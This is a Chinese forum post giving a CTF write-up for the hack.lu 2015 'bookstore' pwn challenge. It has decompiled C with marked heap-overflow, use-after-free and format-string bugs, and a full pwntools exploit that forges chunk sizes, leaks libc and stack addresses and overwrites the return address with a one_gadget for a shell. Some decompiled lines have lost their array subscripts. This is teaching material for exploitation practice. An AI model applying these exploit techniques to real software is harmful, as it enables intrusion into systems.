R00tkit 发表于 2023-9-14 10:50

hack.lu CTF 2015 : bookstore

本帖最后由 R00tkit 于 2023-9-14 10:54 编辑


# 检查文件信息

ELF64 小端序,动态链接,经过符号去除。


没开 RELRO 和 PIE 保护。


猜测是glibc-2.19,暂改 glibc 为 glibc-2.23。
# 试运行

# 逆向分析
```cpp
/* main 函数 */

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; //
char *v5; //
char *first_order; //
char *second_order; //
char *dest; //
char s; // BYREF
unsigned __int64 v10; //

v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
    fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
    return 1LL;
}
v4 = 0;
puts(
    " _____          _   _               _          _                   _ \n"
    "/__   \\______| |_| |__   ___   ___ | | _____| |_ ____ __ ___/ \\\n"
    "/ /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\//\n"
    " / / |__/><| |_| |_) | (_) | (_) |   <\\__ \\ || (_) | | |__/\\_/ \n"
    " \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|\\___\\/   \n"
    "Crappiest and most expensive books for your college education!\n"
    "\n"
    "We can order books for you in case they're not in stock.\n"
    "Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
    puts("1: Edit order 1");
    puts("2: Edit order 2");
    puts("3: Delete order 1");
    puts("4: Delete order 2");
    puts("5: Submit");
    fgets(s, 0x80, stdin);
    switch ( s )
    {
      case '1':
      puts("Enter first order:");
      edit_order(first_order);
      strcpy(dest, "Your order is submitted!\n");
      goto LABEL_14;
      case '2':
      puts("Enter second order:");
      edit_order(second_order);
      strcpy(dest, "Your order is submitted!\n");
      goto LABEL_14;
      case '3':
      delete_order(first_order);
      goto LABEL_14;
      case '4':
      delete_order(second_order);
      goto LABEL_14;
      case '5':
      v5 = (char *)malloc(0x140uLL);
      if ( !v5 )
      {
          fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
          return 1LL;
      }
      submit(v5, first_order, second_order);
      v4 = 1;
      break;
      default:
      goto LABEL_14;
    }
}
printf("%s", v5);
printf(dest); // 格式化字符串漏洞
return 0LL;
}

```

```cpp
/* edit 函数 */

unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; //
int cnt; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' ) // 无限制读入
{
    v3 = fgetc(stdin);
    idx = cnt++;
    a1 = v3;
}
a1 = 0;
return __readfsqword(0x28u) ^ v5;
}

```

```cpp
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
free(a1);// UAF漏洞
return __readfsqword(0x28u) ^ v2;
}

```

```cpp
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
size_t v3; // rax
size_t v4; // rax
unsigned __int64 v7; //

v7 = __readfsqword(0x28u);
strcpy(all, "Order 1: ");
v3 = strlen(order1);
strncat(all, order1, v3);
strcat(all, "\nOrder 2: ");
v4 = strlen(order2);
strncat(all, order2, v4);
*(_WORD *)&all = '\n';
return __readfsqword(0x28u) ^ v7;
}

```

# 漏洞利用

我们需要做两件事来 getshell ,第一是泄露栈地址和 libc 地址。第二是找到合适的执行流执行one_gadget,这题最为适合的执行流便是控制返回地址。泄露栈地址和 libc 基址可以通过格式化字符串漏洞来完成,同样,格式化字符串也可完成任意地址写,如果将 fini_array 改为 main 函数地址便可执行两次程序。我们可以通过开始时向栈读入的 0x80 大小布置栈空间。退出时会申请 0x140 大小的空间,我们可以通过堆溢出控制 chunk2_size 从而达到控制 dest 的效果,然后便可利用格式化字符串漏洞 getshell。

## 前置脚本

```python
from pwn import *

context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

p = process('./books')
elf = ELF('./books')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(p, gdbscript=gdbscript)
      pause()
    else:
      pass

def edit(ID, dest):
    p.recvuntil(b'5: Submit\n')
    p.sendline(str(ID).encode())
    p.recvuntil(b'er:\n')
    p.sendline(dest)
    sleep(0.5)

def delete(ID):
    p.recvuntil(b'5: Submit\n')
    p.sendline(str(ID+2).encode())
    sleep(0.5)

def submit(payload):
    p.recvuntil(b'5: Submit\n')
    p.sendline(b'5aaaaaaa' + payload)
    sleep(0.5)

```

## 泄露地址
```python
def leak():
    global libc_base, ret_addr

    fini_arry = 0x6011b8# 0x400830
    main_addr = 0x400a39

    payload = b'%' + str(0xa39).encode() + b'c%13$hn' + b'.%31$p' + b'.%28$p'
    payload = payload.ljust(0x74, b'a')
    payload = payload.ljust(0x80, b'\x00')
    payload += p64(0x90)
    payload += p64(0x151)
    payload += b'a'*0x140
    payload += p64(0x150)
    payload += p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
    payload += b'b'*0x10
    payload += p64(0x20)+p64(0x21)   #为了使0x150的块不和nextchunk合并   


    gdb.attach(p)

    edit(1,payload)
    delete(2)
    submit(p64(fini_arry))


    p.recvuntil(b'0x')
    libc_base = int(p.recv(12),16) - 0xf0 - libc.symbols['__libc_start_main']
    p.recvuntil(b'0x')
    ret_addr = int(p.recv(12), 16) - 0xd8 - 0x110
    log.success("libc_base : 0x%x" % libc_base)
    log.success("ret_addr : 0x%x" % ret_addr)
    pause()

    sleep(0.5)

```


我们通过堆溢出将 chunk2 的 size 修改为 0x151,并做了绕过检查。将chunk2释放后,submit 时便会申请到 chunk2 的内容。submit 可用来布置栈空间,不过需要 8 字节对齐一下,调试时时第八个位置是读入,因为是 64 位,所以是第 13 个位置可控,我们可以将fini_array地址填入,然后利用格式化字符串漏洞修改 fini_array 指向的值 (0x400830) 修改为 main 函数地址。我们只需修改后 12 位即可。

我们 (5+26)的位置是 main 的返回地址,这个地址指向了 `libc_start_main+0xf0`,而这个函数是动态链接进来的,所以可以泄露出 libc 地址减去偏移 0xf0 和 libc 库中的偏移即可得到 libc 基址,而 (5+23) 的位置保存了一个栈地址,它与 main 函数返回地址的位置偏移是固定的0xd8,但是当我们再次返回到 main 函数时,调试发现返回地址位置在原来低 0x110 处,原因有二,程序未正常结束,也没有直接返回到`_start`函数,导致的栈空间失衡。



此时 v5 已经申请到 chunk2 的位置,然年后进行字符串合并时,会将 chunk1 的内容粘贴到 chunk2 中,然后再次把 chunk2 的内容加到 chunk2 尾部,偏移 0x80 的地方正好是 dest ,我们由此完成了格式化字符串漏洞的第一次利用。

## getshell



我们将返回地址和返回地址+1的地方写入返回地址的地址,然后将其改为 one_gadget,只需改后3字节即可。函数返回时,即可执行 one_gadget getshell。



## 完整exp
```python
from pwn import *

context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

p = process('./books')
elf = ELF('./books')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

is_debug = True
def debug(gdbscript=""):
    if is_debug:
      gdb.attach(p, gdbscript=gdbscript)
      pause()
    else:
      pass

def edit(ID, dest):
    p.recvuntil(b'5: Submit\n')
    p.sendline(str(ID).encode())
    p.recvuntil(b'er:\n')
    p.sendline(dest)
    sleep(0.5)

def delete(ID):
    p.recvuntil(b'5: Submit\n')
    p.sendline(str(ID+2).encode())
    sleep(0.5)

def submit(payload):
    p.recvuntil(b'5: Submit\n')
    p.sendline(b'5aaaaaaa' + payload)
    sleep(0.5)

def leak():
    global libc_base, ret_addr

    fini_arry = 0x6011b8# 0x400830
    main_addr = 0x400a39

    payload = b'%' + str(0xa39).encode() + b'c%13$hn' + b'.%31$p' + b'.%28$p'
    payload = payload.ljust(0x74, b'a')
    payload = payload.ljust(0x80, b'\x00')
    payload += p64(0x90)
    payload += p64(0x151)
    payload += b'a'*0x140
    payload += p64(0x150)
    payload += p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
    payload += b'b'*0x10
    payload += p64(0x20)+p64(0x21)   #为了使0x150的块不和nextchunk合并

    gdb.attach(p)
    edit(1,payload)
    delete(2)
    submit(p64(fini_arry))

    p.recvuntil(b'0x')
    libc_base = int(p.recv(12),16) - 0xf0 - libc.symbols['__libc_start_main']
    p.recvuntil(b'0x')
    ret_addr = int(p.recv(12), 16) - 0xd8 - 0x110 # 偏移

    log.success("libc_base : 0x%x" % libc_base)
    log.success("ret_addr : 0x%x" % ret_addr)
    pause()
    sleep(0.5)

def get_shell():
    one_gadget = libc_base + 0x45226

    part1 = u8(p64(one_gadget)[:1])
    part2 = u16(p64(one_gadget))

    payload = b'%' + str(part1).encode() + b'c%13$hhn'
    payload += b'%' + str(part2-part1).encode() + b'c%14$hn'
    payload = payload.ljust(0x74, b'a')
    payload = payload.ljust(0x80, b'\x00')
    payload += p64(0x90)
    payload += p64(0x151)
    payload += b'a'*0x140
    payload += p64(0x150)
    payload += p64(0x21)
    payload += b'b'*0x10
    payload += p64(0x20) + p64(0x21)

    gdb.attach(p)
    edit(1, payload)
    delete(2)
    submit(p64(ret_addr)+p64(ret_addr+1))
    pause()

    sleep(0.5)

def pwn():
    leak()
    get_shell()
    sleep(0.5)
    p.interactive()

if __name__ == '__main__':
    pwn()

```



andy4862378 发表于 2023-9-14 12:15

谢谢分享

lhs55502002 发表于 2023-9-14 15:51

非常好的工具
页: [1]
查看完整版本: hack.lu CTF 2015 : bookstore